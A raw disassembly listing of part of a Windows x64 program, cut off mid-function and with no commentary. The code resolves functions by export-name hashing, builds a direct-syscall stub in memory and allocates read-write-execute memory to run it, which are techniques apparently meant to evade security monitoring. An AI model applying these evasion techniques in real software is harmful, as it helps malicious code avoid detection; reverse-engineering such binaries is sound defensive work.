mov rdx, rax
lea rcx, [rsp + 0x4808]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x140136897
mov qword [rsp + 0x4810], 0
jmp 0x1401368b0
lea rcx, [rsp + 0x4808]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x4810], rax
mov rax, qword [rsp + 0x4810]
mov qword [rsp + 0x9818], rax
lea rcx, [rsp + 0xf260]
call fcn.1400a0f10
mov rax, qword [rsp + 0x9818]
mov qword [rsp + 0x4818], rax
cmp qword [rsp + 0x4818], 0
je 0x14013690d
mov rax, qword [rsp + 0x4818]
mov eax, dword [rax + 4]
mov dword [rsp + 0x21e8], eax
mov eax, dword [rsp + 0x21e8]
mov dword [rsp + 0x652c], eax
jmp 0x14013739b
lea rax, [rsp + 0xd078]
mov qword [rsp + 0x9820], rax
xor edx, edx
mov rcx, qword [rsp + 0x9820]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x21ec], eax
lea rax, [rsp + 0xd07c]
mov qword [rsp + 0x9828], rax
mov edx, dword [rsp + 0x6528]
mov rcx, qword [rsp + 0x9828]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x21f0], eax
mov eax, dword [rsp + 0x21ec]
mov dword [rsp + 0xaa0], eax
mov eax, dword [rsp + 0x21f0]
mov dword [rsp + 0xab8], eax
xor edx, edx
lea rcx, [rsp + 0x21f4]
call fcn.14009b2f0
lea rdx, [rsp + 0x21f4]
lea rcx, [rsp + 0xab8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x1401369ba
mov qword [rsp + 0x1310], 0
jmp 0x1401372b9
mov byte [rsp + 0x2f2], 1
mov qword [rsp + 0x6ed0], 0
mov qword [rsp + 0x6ed8], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3eb8], rax
mov eax, 1
test eax, eax
je 0x140136a0c
mov rax, qword [rsp + 0x3eb8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4820], rax
jmp 0x140136a1f
mov rax, qword [rsp + 0x3eb8]
mov rax, qword [rax]
mov qword [rsp + 0x4820], rax
mov rax, qword [rsp + 0x4820]
mov qword [rsp + 0x6ed0], rax
mov rax, qword [rsp + 0x3eb8]
mov qword [rsp + 0x6ed8], rax
lea rax, [rsp + 0x6ed0]
mov qword [rsp + 0x4828], rax
lea rdx, [rsp + 0x1308]
mov rcx, qword [rsp + 0x4828]
call fcn.14018efb0
lea rdx, [rsp + 0x9830]
mov rcx, qword [rsp + 0x4828]
call fcn.140190a30
jmp 0x140136a8e
mov rax, qword [rsp + 0x1308]
mov rax, qword [rax]
mov qword [rsp + 0x1308], rax
mov rax, qword [rsp + 0x9830]
cmp qword [rsp + 0x1308], rax
je 0x140136aad
mov dword [rsp + 0xa9c], 1
jmp 0x140136ab8
mov dword [rsp + 0xa9c], 0
movzx eax, byte [rsp + 0xa9c]
test eax, eax
je 0x1401372ad
xor edx, edx
mov rcx, qword [rsp + 0x1308]
call fcn.140096d90
mov qword [rsp + 0x9838], rax
lea rax, [rsp + 0x9838]
mov qword [rsp + 0x4830], rax
xor edx, edx
lea rcx, [rsp + 0x21f8]
call fcn.14009b2f0
lea rdx, [rsp + 0x21f8]
lea rcx, [rsp + 0xaa0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140136d58
mov rax, qword [rsp + 0x4830]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x9840], rax
lea rdx, [rsp + 0x126d8]
mov rcx, qword [rsp + 0x9840]
call fcn.14019acf0
lea rcx, [rsp + 0xf270]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xaa0]
mov dword [rsp + 0x21fc], eax
lea rax, [rsp + 0xd2a0]
lea rcx, [rsp + 0xf270]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x21fc]
mov dword [rsp + 0xaa8], eax
lea rax, [rsp + 0x2200]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2200]
call fcn.14009b310
mov qword [rsp + 0x9848], rax
lea rax, [rsp + 0xf280]
lea rcx, [rsp + 0xd2a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf290]
lea rcx, [rsp + 0xf280]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf290]
mov rcx, qword [rsp + 0x9848]
call fcn.140097890
mov dword [rsp + 0x2208], eax
lea rcx, [rsp + 0xd2a0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x9850], rax
mov r9, qword [rsp + 0x9850]
xor r8d, r8d
lea rdx, [rsp + 0xf2a0]
lea rcx, [rsp + 0xd2a0]
call fcn.14019ab70
lea rax, [rsp + 0x2204]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2204]
call fcn.14009b310
mov qword [rsp + 0x9858], rax
lea rax, [rsp + 0xf2b0]
lea rcx, [rsp + 0xf2a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf2c0]
lea rcx, [rsp + 0xf2b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf2c0]
mov rcx, qword [rsp + 0x9858]
call fcn.140097890
mov dword [rsp + 0x2210], eax
mov edx, dword [rsp + 0x2208]
lea rcx, [rsp + 0x220c]
call fcn.14009b2f0
lea rdx, [rsp + 0x220c]
lea rcx, [rsp + 0xaa8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140136d3c
mov edx, dword [rsp + 0x2210]
lea rcx, [rsp + 0x2214]
call fcn.14009b2f0
lea rdx, [rsp + 0x2214]
lea rcx, [rsp + 0xaa8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140136d3c
mov dword [rsp + 0xab0], 1
jmp 0x140136d47
mov dword [rsp + 0xab0], 0
movzx eax, byte [rsp + 0xab0]
test eax, eax
je 0x140136d58
jmp 0x140136a7b
mov rax, qword [rsp + 0x4830]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4838], rax
mov rax, qword [rsp + 0x4838]
mov qword [rsp + 0x4468], rax
mov rax, qword [rsp + 0x4838]
mov qword [rsp + 0x9860], rax
mov rax, qword [rsp + 0x9860]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9868], rax
mov rax, qword [rsp + 0x9868]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x9870], rax
mov eax, dword [rsp + 0x9870]
add rax, qword [rsp + 0x4468]
mov qword [rsp + 0x9878], rax
mov rax, qword [rsp + 0x9878]
mov qword [rsp + 0x4470], rax
lea rdx, [rsp + 0xab8]
lea rcx, [rsp + 0xd080]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11cf0]
lea rcx, [rsp + 0x4468]
call fcn.140097040
lea rdx, [rsp + 0x13858]
lea rcx, [rsp + 0x4468]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11cf0]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140136e44
jmp 0x140136a7b
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140136ec7
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11d00]
mov qword [rsp + 0x4840], rax
mov rcx, qword [rsp + 0x4840]
call fcn.140097960
mov qword [rsp + 0x115d0], rax
mov rcx, qword [rsp + 0x4840]
call fcn.140097950
mov qword [rsp + 0x3ec8], rax
mov rax, qword [rsp + 0x3ec8]
mov rax, qword [rax]
mov qword [rsp + 0x4858], rax
mov rax, qword [rsp + 0x4468]
mov qword [rsp + 0x9880], rax
mov rax, qword [rsp + 0x9880]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9888], rax
mov rax, qword [rsp + 0x9888]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x4848], rax
mov eax, dword [rsp + 0x4848]
add rax, qword [rsp + 0x4468]
mov qword [rsp + 0x4850], rax
mov eax, dword [rsp + 0x484c]
mov rcx, qword [rsp + 0x4850]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9890], rax
mov rax, qword [rsp + 0x4850]
cmp qword [rsp + 0x4858], rax
jb 0x140136fb9
mov rax, qword [rsp + 0x9890]
cmp qword [rsp + 0x4858], rax
jae 0x140136fb9
mov dword [rsp + 0xac0], 1
jmp 0x140136fc4
mov dword [rsp + 0xac0], 0
movzx eax, byte [rsp + 0xac0]
mov byte [rsp + 0xed], al
movzx eax, byte [rsp + 0xed]
test eax, eax
je 0x140137293
mov rax, qword [rsp + 0x3ec8]
mov rax, qword [rax]
mov qword [rsp + 0x9898], rax
mov rax, qword [rsp + 0x9898]
mov qword [rsp + 0x98a0], rax
lea rax, [rsp + 0x126e8]
mov qword [rsp + 0x98a8], rax
mov rdx, qword [rsp + 0x98a0]
mov rcx, qword [rsp + 0x98a8]
call fcn.140095590
lea rcx, [rsp + 0x6ee0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6ee0]
call fcn.140191090
mov qword [rsp + 0x3ec0], rax
cmp qword [rsp + 0x3ec0], 0xffffffffffffffff
je 0x1401370ce
mov r9, qword [rsp + 0x3ec0]
xor r8d, r8d
lea rdx, [rsp + 0xf2e0]
lea rcx, [rsp + 0x6ee0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3ec0]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xf2d0]
lea rcx, [rsp + 0x6ee0]
call fcn.14019aaa0
lea r8, [rsp + 0xf2d0]
lea rdx, [rsp + 0xf2e0]
lea rcx, [rsp + 0x11190]
call fcn.14008f7e0
jmp 0x140137109
lea rax, [rsp + 0x6ee0]
mov qword [rsp + 0x98b0], rax
lea rcx, [rsp + 0xf2f0]
call fcn.140099fb0
lea r8, [rsp + 0xf2f0]
mov rdx, qword [rsp + 0x98b0]
lea rcx, [rsp + 0x11190]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11190]
call fcn.140097960
mov qword [rsp + 0x98b8], rax
lea rcx, [rsp + 0x11190]
call fcn.140097950
mov qword [rsp + 0x98d0], rax
lea rax, [rsp + 0xd084]
mov qword [rsp + 0x98c8], rax
lea rax, [rsp + 0x2218]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2218]
call fcn.14009b310
mov qword [rsp + 0x98c0], rax
lea rax, [rsp + 0xf300]
mov rdi, rax
mov rsi, qword [rsp + 0x98b8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf310]
lea rcx, [rsp + 0xf300]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf310]
mov rcx, qword [rsp + 0x98c0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x98c8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2220], eax
lea rax, [rsp + 0xd088]
mov qword [rsp + 0x98e0], rax
lea rax, [rsp + 0x221c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x221c]
call fcn.14009b310
mov qword [rsp + 0x98d8], rax
lea rax, [rsp + 0xf320]
mov rdi, rax
mov rsi, qword [rsp + 0x98d0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf330]
lea rcx, [rsp + 0xf320]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf330]
mov rcx, qword [rsp + 0x98d8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x98e0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2224], eax
mov r8d, dword [rsp + 0x2220]
mov edx, dword [rsp + 0x2224]
lea rcx, [rsp + 0x3ed0]
call fcn.140191150
mov qword [rsp + 0x1310], rax
jmp 0x1401372b9
mov rax, qword [rsp + 0x3ec8]
mov rax, qword [rax]
mov qword [rsp + 0x1310], rax
jmp 0x1401372b9
mov qword [rsp + 0x1310], 0
mov rax, qword [rsp + 0x1310]
mov qword [rsp + 0x3ed0], rax
lea rcx, [rsp + 0x3ed0]
call fcn.1400a2c10
mov qword [rsp + 0x98e8], rax
mov eax, dword [rsp + 0x6528]
mov dword [rsp + 0x2228], eax
mov rax, qword [rsp + 0x98e8]
mov qword [rsp + 0x98f0], rax
mov eax, dword [rsp + 0x2228]
mov dword [rsp + 0x2230], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf340]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x98f8], rax
lea r9, [rsp + 0x98f0]
lea r8, [rsp + 0x2230]
lea rdx, [rsp + 0x126f8]
mov rcx, qword [rsp + 0x98f8]
call fcn.140098320
lea rcx, [rsp + 0xf340]
call fcn.1400a0f80
lea rcx, [rsp + 0x3ed0]
call fcn.1400a2c10
mov qword [rsp + 0x9900], rax
mov rax, qword [rsp + 0x9900]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2238], eax
mov eax, dword [rsp + 0x2238]
mov dword [rsp + 0x652c], eax
lea rax, [rsp + 0x6530]
mov qword [rsp + 0x9908], rax
mov eax, dword [rsp + 0x652c]
mov dword [rsp + 0x2240], eax
mov rax, qword [rsp + 0x9908]
add rax, 0x11
mov qword [rsp + 0x9910], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x9910]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2240]
mov dword [rax], ecx
lea rax, [rsp + 0x6530]
mov qword [rsp + 0x618], rax
mov rax, qword [rsp + 0x618]
add rax, 0x10
mov qword [rsp + 0x115d8], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x9918], rax
mov qword [rsp + 0x4860], 0
mov qword [rsp + 0x9920], 0xd
mov rax, qword [rsp + 0x9918]
mov qword [rsp + 0x9928], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x9920]
xor r8d, r8d
lea rdx, [rsp + 0x4860]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x9928]
mov dword [rsp + 0x2248], eax
cmp dword [rsp + 0x2248], 0
jl 0x14013749d
mov rax, qword [rsp + 0x4860]
mov qword [rsp + 0x4868], rax
jmp 0x1401374a9
mov qword [rsp + 0x4868], 0
mov rax, qword [rsp + 0x4868]
mov qword [rsp + 0x9930], rax
mov rax, qword [rsp + 0x618]
mov rcx, qword [rsp + 0x9930]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x618]
cmp qword [rax + 8], 0
jne 0x1401374de
jmp 0x140137522
mov rax, qword [rsp + 0x618]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x618]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x618]
mov rcx, qword [rsp + 0x618]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6530]
mov qword [rsp + 0x9968], rax
mov rax, qword [rsp + 0x9938]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x9940]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x9948]
mov r8, qword [rsp + 0x9950]
mov rdx, qword [rsp + 0x9958]
mov rcx, qword [rsp + 0x9960]
call qword [rsp + 0x9968]
mov dword [rsp + 0x224c], eax
lea rcx, [rsp + 0x6528]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x224c]
mov dword [rsp + 0x15c], eax
cmp dword [rsp + 0x15c], 0
jge 0x1401375af
mov dword [rsp + 0x9c], 0
jmp 0x140141d78
lea rax, [rsp + 0x158]
mov qword [rsp + 0x9978], rax
mov dword [rsp + 0x2294], 0x40
mov dword [rsp + 0x2250], 0x12a83c03
mov eax, dword [rsp + 0x2250]
mov dword [rsp + 0x2258], eax
lea rcx, [rsp + 0x2258]
call fcn.1400a2c20
mov dword [rsp + 0x6550], eax
mov dword [rsp + 0x6554], 0
lea rax, [rsp + 0x6558]
mov qword [rsp + 0x9970], rax
mov dword [rsp + 0x2290], 0x49
mov dword [rsp + 0x228c], 0x89
mov dword [rsp + 0x2288], 0xca
mov dword [rsp + 0x2284], 0x48
mov dword [rsp + 0x2280], 0xc7
mov dword [rsp + 0x227c], 0xc0
mov dword [rsp + 0x2278], 0x3f
mov dword [rsp + 0x2274], 0x10
mov dword [rsp + 0x2270], 0
mov dword [rsp + 0x226c], 0
mov dword [rsp + 0x2268], 0xf
mov dword [rsp + 0x2264], 5
mov dword [rsp + 0x2260], 0xc3
lea rax, [rsp + 0x2260]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2264]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2268]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x226c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2270]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2274]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2278]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x227c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2280]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2284]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2288]
lea r8, [rsp + 0x228c]
lea rdx, [rsp + 0x2290]
mov rcx, qword [rsp + 0x9970]
call fcn.14008f900
mov byte [rsp + 0x2f3], 0
mov byte [rsp + 0x2f4], 0
mov rax, qword [rsp + 0x9978]
mov qword [rsp + 0x9ab0], rax
mov byte [rsp + 0x2f5], 0
mov byte [rsp + 0x2f6], 1
mov eax, dword [rsp + 0x158]
mov qword [rsp + 0x9ab8], rax
mov byte [rsp + 0x2f7], 0
mov byte [rsp + 0x2f8], 0
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x9ac0], rax
mov byte [rsp + 0x2f9], 0
mov byte [rsp + 0x2fa], 0
mov eax, dword [rsp + 0x2294]
mov dword [rsp + 0x2304], eax
mov eax, dword [rsp + 0x6550]
mov dword [rsp + 0x2298], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf350]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9980], rax
lea r8, [rsp + 0x2298]
lea rdx, [rsp + 0x4870]
mov rcx, qword [rsp + 0x9980]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9988], rax
lea rdx, [rsp + 0x115e0]
mov rcx, qword [rsp + 0x9988]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x4870]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x140137867
mov qword [rsp + 0x4878], 0
jmp 0x140137880
lea rcx, [rsp + 0x4870]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x4878], rax
mov rax, qword [rsp + 0x4878]
mov qword [rsp + 0x9990], rax
lea rcx, [rsp + 0xf350]
call fcn.1400a0f10
mov rax, qword [rsp + 0x9990]
mov qword [rsp + 0x4880], rax
cmp qword [rsp + 0x4880], 0
je 0x1401378dd
mov rax, qword [rsp + 0x4880]
mov eax, dword [rax + 4]
mov dword [rsp + 0x22a0], eax
mov eax, dword [rsp + 0x22a0]
mov dword [rsp + 0x6554], eax
jmp 0x14013836b
lea rax, [rsp + 0xd08c]
mov qword [rsp + 0x9998], rax
xor edx, edx
mov rcx, qword [rsp + 0x9998]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x22a4], eax
lea rax, [rsp + 0xd090]
mov qword [rsp + 0x99a0], rax
mov edx, dword [rsp + 0x6550]
mov rcx, qword [rsp + 0x99a0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x22a8], eax
mov eax, dword [rsp + 0x22a4]
mov dword [rsp + 0xac8], eax
mov eax, dword [rsp + 0x22a8]
mov dword [rsp + 0xae0], eax
xor edx, edx
lea rcx, [rsp + 0x22ac]
call fcn.14009b2f0
lea rdx, [rsp + 0x22ac]
lea rcx, [rsp + 0xae0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14013798a
mov qword [rsp + 0x1320], 0
jmp 0x140138289
mov byte [rsp + 0x2fb], 1
mov qword [rsp + 0x6ef0], 0
mov qword [rsp + 0x6ef8], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3ed8], rax
mov eax, 1
test eax, eax
je 0x1401379dc
mov rax, qword [rsp + 0x3ed8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4888], rax
jmp 0x1401379ef
mov rax, qword [rsp + 0x3ed8]
mov rax, qword [rax]
mov qword [rsp + 0x4888], rax
mov rax, qword [rsp + 0x4888]
mov qword [rsp + 0x6ef0], rax
mov rax, qword [rsp + 0x3ed8]
mov qword [rsp + 0x6ef8], rax
lea rax, [rsp + 0x6ef0]
mov qword [rsp + 0x4890], rax
lea rdx, [rsp + 0x1318]
mov rcx, qword [rsp + 0x4890]
call fcn.14018efb0
lea rdx, [rsp + 0x99a8]
mov rcx, qword [rsp + 0x4890]
call fcn.140190a30
jmp 0x140137a5e
mov rax, qword [rsp + 0x1318]
mov rax, qword [rax]
mov qword [rsp + 0x1318], rax
mov rax, qword [rsp + 0x99a8]
cmp qword [rsp + 0x1318], rax
je 0x140137a7d
mov dword [rsp + 0xac4], 1
jmp 0x140137a88
mov dword [rsp + 0xac4], 0
movzx eax, byte [rsp + 0xac4]
test eax, eax
je 0x14013827d
xor edx, edx
mov rcx, qword [rsp + 0x1318]
call fcn.140096d90
mov qword [rsp + 0x99b0], rax
lea rax, [rsp + 0x99b0]
mov qword [rsp + 0x4898], rax
xor edx, edx
lea rcx, [rsp + 0x22b0]
call fcn.14009b2f0
lea rdx, [rsp + 0x22b0]
lea rcx, [rsp + 0xac8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140137d28
mov rax, qword [rsp + 0x4898]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x99b8], rax
lea rdx, [rsp + 0x12708]
mov rcx, qword [rsp + 0x99b8]
call fcn.14019acf0
lea rcx, [rsp + 0xf360]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xac8]
mov dword [rsp + 0x22b4], eax
lea rax, [rsp + 0xd2b0]
lea rcx, [rsp + 0xf360]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x22b4]
mov dword [rsp + 0xad0], eax
lea rax, [rsp + 0x22b8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x22b8]
call fcn.14009b310
mov qword [rsp + 0x99c0], rax
lea rax, [rsp + 0xf370]
lea rcx, [rsp + 0xd2b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf380]
lea rcx, [rsp + 0xf370]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf380]
mov rcx, qword [rsp + 0x99c0]
call fcn.140097890
mov dword [rsp + 0x22c0], eax
lea rcx, [rsp + 0xd2b0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x99c8], rax
mov r9, qword [rsp + 0x99c8]
xor r8d, r8d
lea rdx, [rsp + 0xf390]
lea rcx, [rsp + 0xd2b0]
call fcn.14019ab70
lea rax, [rsp + 0x22bc]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x22bc]
call fcn.14009b310
mov qword [rsp + 0x99d0], rax
lea rax, [rsp + 0xf3a0]
lea rcx, [rsp + 0xf390]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf3b0]
lea rcx, [rsp + 0xf3a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf3b0]
mov rcx, qword [rsp + 0x99d0]
call fcn.140097890
mov dword [rsp + 0x22c8], eax
mov edx, dword [rsp + 0x22c0]
lea rcx, [rsp + 0x22c4]
call fcn.14009b2f0
lea rdx, [rsp + 0x22c4]
lea rcx, [rsp + 0xad0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140137d0c
mov edx, dword [rsp + 0x22c8]
lea rcx, [rsp + 0x22cc]
call fcn.14009b2f0
lea rdx, [rsp + 0x22cc]
lea rcx, [rsp + 0xad0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140137d0c
mov dword [rsp + 0xad8], 1
jmp 0x140137d17
mov dword [rsp + 0xad8], 0
movzx eax, byte [rsp + 0xad8]
test eax, eax
je 0x140137d28
jmp 0x140137a4b
mov rax, qword [rsp + 0x4898]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x48a0], rax
mov rax, qword [rsp + 0x48a0]
mov qword [rsp + 0x4478], rax
mov rax, qword [rsp + 0x48a0]
mov qword [rsp + 0x99d8], rax
mov rax, qword [rsp + 0x99d8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x99e0], rax
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x99e8], rax
mov eax, dword [rsp + 0x99e8]
add rax, qword [rsp + 0x4478]
mov qword [rsp + 0x99f0], rax
mov rax, qword [rsp + 0x99f0]
mov qword [rsp + 0x4480], rax
lea rdx, [rsp + 0xae0]
lea rcx, [rsp + 0xd094]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11d18]
lea rcx, [rsp + 0x4478]
call fcn.140097040
lea rdx, [rsp + 0x13880]
lea rcx, [rsp + 0x4478]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11d18]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140137e14
jmp 0x140137a4b
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140137e97
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11d28]
mov qword [rsp + 0x48a8], rax
mov rcx, qword [rsp + 0x48a8]
call fcn.140097960
mov qword [rsp + 0x115e8], rax
mov rcx, qword [rsp + 0x48a8]
call fcn.140097950
mov qword [rsp + 0x3ee8], rax
mov rax, qword [rsp + 0x3ee8]
mov rax, qword [rax]
mov qword [rsp + 0x48c0], rax
mov rax, qword [rsp + 0x4478]
mov qword [rsp + 0x99f8], rax
mov rax, qword [rsp + 0x99f8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9a00], rax
mov rax, qword [rsp + 0x9a00]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x48b0], rax
mov eax, dword [rsp + 0x48b0]
